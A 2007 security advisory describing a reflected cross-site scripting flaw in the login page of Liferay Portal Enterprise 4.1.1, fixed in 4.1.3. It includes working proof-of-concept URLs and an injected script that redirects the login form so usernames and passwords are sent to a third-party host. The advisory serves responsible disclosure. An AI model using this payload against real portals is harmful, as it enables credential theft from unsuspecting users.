PR07-02: XSS on Liferay Portal Enterprise 4.1.1 login page ('login' parameter)

Type securityvulns
Reporter Securityvulns
Modified 2007-11-17T00:00:00


Date Found: 6th March 2007

Vendor informed: 26th June 2007


Liferay Portal login page is vulnerable to Cross-Site Scripting within the "login" field processed by the "/c/portal/login" server-side script.


An attacker may be able to cause the execution of malicious script code in the browser of a user who visits a specially-crafted Liferay Portal URL, or visits a page that submits a request to such URL. Such code would run within the security context of the target domain.

This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: usernames and passwords) to unauthorised third parties.

Proof of concept (PoC):

The provided XSS PoC URLs overwrite Liferay Portal login form's 'action' attribute. Thus, when the victim user clicks on the "Sign In" button, the credentials (username/password) are sent to a third-party site ( in this case).

http://target.tld/c/portal/login?login=%22%3E%3Cscript%3Edocument.fm1.action=%22 http://target.tld/c/portal/login?login=%22%3E%3Cscript%3Edocument.fm1.action=%22http%3a%2f%2f%70roch%65cku%70%2e%63om%22%3C/script%3E%3Ca%20b=%22c

Injected payload:

"><script>document.fm1.action=""</script><a b="c

What's (partially) returned by the server:

<input class="form-text" name="login" style="width: 150px;" type="text" value=""><script>document.fm1.action=""</script><a b="c">

Note: the victim user does not need to be authenticated for this vulnerability to be exploitable.

Successfully tested on:

Liferay-Portal: Liferay Portal Enterprise 4.1.1 (Cowper / Build 3101 / August 14, 2006)

(other versions of Liferay Portal might also be affected)

Severity: Medium/High

Author: Adrian Pastor [adrian.pastor [at]] from ProCheckUp Ltd (

ProCheckUp thanks Liferay for fixing this vulnerability so promptly.



The issue was fixed a while back, but re-surfaced in 4.1.0 and 4.1.1.

This issue has been fixed on version 4.1.3 and onwards.